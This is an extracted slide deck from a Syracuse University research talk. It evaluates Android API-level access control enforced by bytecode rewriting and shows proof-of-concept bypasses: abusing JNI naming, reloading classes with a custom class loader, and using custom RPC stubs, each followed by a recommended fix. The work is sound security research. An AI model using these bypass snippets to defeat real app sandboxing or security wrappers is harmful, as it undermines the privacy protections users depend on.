Slides - Computing and Information Studies - Syracuse University

crookpatedhatΚινητά – Ασύρματες Τεχνολογίες

10 Δεκ 2013 (πριν από 3 χρόνια και 8 μήνες)

95 εμφανίσεις

Wenliang

Du

Syracuse University

Vicky Singh

Syracuse University

Hao Hao

Syracuse University

Agenda


Introduction on API
-
level Access Control using
Bytecode Rewriting



Analysis on Existing Works



Attacks



Recommendations

Android Permission System


Current Android install
-
time permission system







Coarse
-
grained Permissions


e.g., INTERNET permission



Application

Android
API

Privileged
Resources

Check
Permissions

API
-
level Access Control


Impose fine
-
grained access control



Instrument applications



Bytecode rewriting



Native library rewriting



Modify Android platform


Flexibility


Rich context information

Easy deployment

Existing Works


Bytecode rewriting



Improving privacy on android smartphones through in
-
vivo
bytecode instrumentation.


A. Bartel, J. Klein, K. Allix, Y. Traon, and
M.
Monperrus
.


I
-
arm
-
droid: A rewriting framework for in
-
app reference
monitors for android applications.


B. Davis, B. Sanders, A.
Khodaverdian
, and H. Chen.


Dr. android and Mr. hide: Fine
-
grained security policies on
unmodified android.


J.
Jeon
, K. K.
Micinski
, and J. A. Vaughan


Application
-
centric security policies on unmodified android.


N. Reddy, J. Jeon, J. Vaughan, T. Millstein, and
J. Foster



Objective


Systematic evaluation to assess the effectiveness of
API
-
level access control using bytecode rewriting on
Android platform

API
-
level Access Control Using

Bytecode Rewriting


Design





Implementation

Application

Android API

Privileged
Resources

Secure
Wrapper

Secure

App.apk

Dalvik
Bytecode
Static
Analysis

Dalvik
Bytecode
Rewriting

Repackage

and
Resigning

Original

App.apk

Android API Architecture

System Server Process

Linux Kernel

Application

Android
APIs

System
Services

Secure
Wrapper

Native Shared
Library

Binder

Java Native Interface

Application Process

Dalvik Virtual Machine

Dalvik Virtual
Machine

Kernel Space

Privileged Resources

Effectiveness of

API
-
level Access Control

System Server Process

Linux Kernel

Application

Android
APIs

System
Services

Secure
Wrapper

Native Shared
Library

Binder

Java Native Interface

Application Process

Dalvik Virtual Machine

Dalvik Virtual
Machine

Kernel Space

2

1

3

4

Privileged Resources

Path 2:

Invoke Native Libraries Directly


Background: Java Native Interface


Enable communications between Java code and native
code.


Usage



package edu.com;

public class
MyClass

{

native

public long
myFunc
();

static {


System.
loadLibrary
("
myLib
");


}

}

JNIEXPORT
jlong

Java_edu_com_MyClass_myFunc
(
JNIEnv
* env,
jobject

thiz
);

myLib.so

static

JNINativeMethod

method_table

[] = {{

"
myFunc
", "(J)J", (void

*)
myFunc_Implementation

}};


extern "C" jint JNI_OnLoad(
JavaVM
*
vm
, ... ) {

jclass c = env
-
>FindClass("
edu
/com/
MyClass
");

env
-
>
RegisterNatives
(c,
method_table
, 1); }

Path 2:

Exploit JNI Naming Convention


Objective


Invoke a native library function without going through its
corresponding Java API to evade the restriction enforced by the
secure wrapper.

Android APIs

Secure Wrapper

Shared Libraries

Application

Methods

JNI

JNI

Path 2:

Exploit JNI Naming Convention





Attempts

1
: (Fail)





Attempts

2: (Success)


package edu.com;

public class
MyClass

{


native public long
my_Func
();

}


package
edu.com.MyClass
;

public class my {


native public long
Func
();

}


package
edu.com.MyClass
;

public class my {

native long 1Func();

static {


System.loadLibrary
(’
myLib
’);


}

}

JNIEXPORT
jlong

Java_edu_com_MyClass_my_1Func(
JNIEnv
* env,
jobject

thiz
);

JNIEXPORT
jlong

Java_edu_com_MyClass_my_Func
(
JNIEnv
* env,
jobject

thiz
);

Path 2:


Case Study


In
sqlite_jni

library, we found functions with the "_1"
pattern in the names.


By invoking
SQLite.Database.error.1string

we successfully invoked
Java_SQLite_Database_error_1string
.

package
SQLite.Database
;

public class
error

{

public static native
String 1string(...);

static{


System.loadLibrary
(’
sqlite_jni
’); }

}


JNIEXPORT
jstring

JNICALL

Java_SQLite_Database_error_1string(
JNIEnv

*env, …)

{




}

sqlite_jni.so

Path 2:

Exploit Java Class Reloading


Objective


modify the implementation of the APIs that the wrapper
is trying to protect.

Application

Customized Android
APIs

Secure Wrapper

Shared
Libraries

Class
Loader

JNI

Path 2:

Exploit Java Class Reloading


Attempts 1: (Fail)


use
DexClassLoader

to load redefined class

package
android.hardware
;

public class
Camera{


final public void
someFunc
() {


//Calling the privileged function


privilegedFunc
(); }


native void
privilegedFunc
();

}


DexClassLoader

classLoader

=
new
DexClassLoader

("
Camera.apk", ...,
getClassLoader
());


Class
mClass

=
classLoader.loadClass
("
android.hardware.Camera
");


android.hardware.Camera

c =
(
android.hardware.Camera
)
mClass.newInstance
();


//Access the privileged native code through
someFunc
()

c.someFunc
();

Class cannot be loaded again

Path 2:

Exploit Java Class Reloading


Attempts 2: (Success)


Use user
-
define class loader


package
android.hardware
;

public class
Camera{


final public void
someFunc
() {


//Calling the privileged function


privilegedFunc
(); }


native void
privilegedFunc
();

}



public

class

MyDexLoader

extends

BaseDexClassLoader

{

// Constructor omitted


@Override


public

Class<?>
loadClass
(String s) {


Class c;


try

{ c =
super
.findClass
(s);


return c;


}
catch

(
ClassNotFoundException

e) {


// handling the exceptions


}
return

null; }

}

Override loading policy

Path 2:

Case Study


Performed our attack on a camera application. Bytecode
rewriter enforced finer
-
grained access control on method

Camera.takePicture







reload redefined
android.hardware.Camera

class into a new class
loader.

public

class

SecureCamera
{

public

static

void

takePicture
(Camera
camera
, ...){


Time now =
new Time();


now.setToNow
();


if(
now.hour

> 8 &&
now.hour

< 18) {

camera.takePicture
(...); }}}

package
android.hardware
;

public class
Camera {

public void
takeMyPicture
(...) {...}}

Take pictures
between 8am
to 6pm

Path 2:

Case Study


Associate native Java methods of Camera class with corresponding
native library functions.









Then attackers can use their customized class definition




//Create a customized class loader

MyDexLoader

ld =
new

MyDexLoader
(...);

//Load redefined Camera class

Class c =
ld.loadClass
("
android.hardware.Camera
");

Class
util

=
ld.loadClass
("
com.android.internal.util.WithFramework
");

Method m =
util.getDeclaredMethod
("
registerNatives
", ...);

m.invoke
(...);


//Invoke
takeMyPicture

method using reflection

m =
c.getDeclaredMethod
("
takeMyPicture
", ...);

m.invoke
(...); ... }

registers native
functions with
Camera

Java class

Path 2:


Recommendations


Recommendations for Exploit JNI Naming Convention


If any Java methods start with numbers, bytecode rewriter should
remove the digit as it is illegal.



Recommendations for Exploit Java Class Reloading


One possible way is bytecode rewriter should restrict all the
invocations of methods within the call chain from
findClass

in the
class
BaseDexClassLoader

to
loadClass

in
DexFile
.

Path 3:

Exploit Customized RPC Stubs


Objective


Applications code can directly communicate with the
system services without going through APIs that invoke
RPC stubs.





Attack


write attackers own RPC stub to communicate with
System Service


Secure
Wrapper

Native Shared
Library

Customized
RPC Stubs

Application

Android
APIs

Path 3:

Case Study


Evaluated on a
geolocation

application. Bytecode
rewriter
enforced fine
access control policy on method
getLastKnownLocation
.







class

SecureLocationManager

extends
LocationManager
{

public

Location
getLastKnownLocation
(...) {


Location loc =
super.getLastKnownLocation
(...);


if
(
loc.getLatitude
()>60&&
loc.getLatitude
()<70&&


loc.getLongtitude
()>140&&
loc.getLongtitude
() <160) {


return loc; }}

Retrieve location

information when
the location is
within Alaska.

Path 3:

Case Study


Attackers can introduce customized RPC with different
method signature.





Use customized RPC with different method signature to
bypass access control placed on
getLastKnownLocation

API.



package

my.location
;

/* User
-
defined RPC stub class */

public

interface

LocMgr
extends

android.os.
IInterface

{


public

static

abstract

class

Stub
extends


android.os.Binder

implements


my.location.LocMgr

{...}}


import
my.location.LocMgr
;

IBinder

b=
android.os.ServiceManager.getService
(LOCATION_SERVICE);

LocMgr

sLocationManger

=
LocMgr.Stub.asInterface
(b);

Location loc =
sLocationManger.getLastKnownLocation
(...);


Path 3:

Recommendation


The fix is to apply the API
-
level access control on
android.os.ServiceManager’s

getService

API, so
application’s Java code cannot use this API to get
system services.

Conclusion


Our work manifests the need to address all the above
attacks to fulfill an effective API
-
level access control
using bytecode rewriting.

Questions?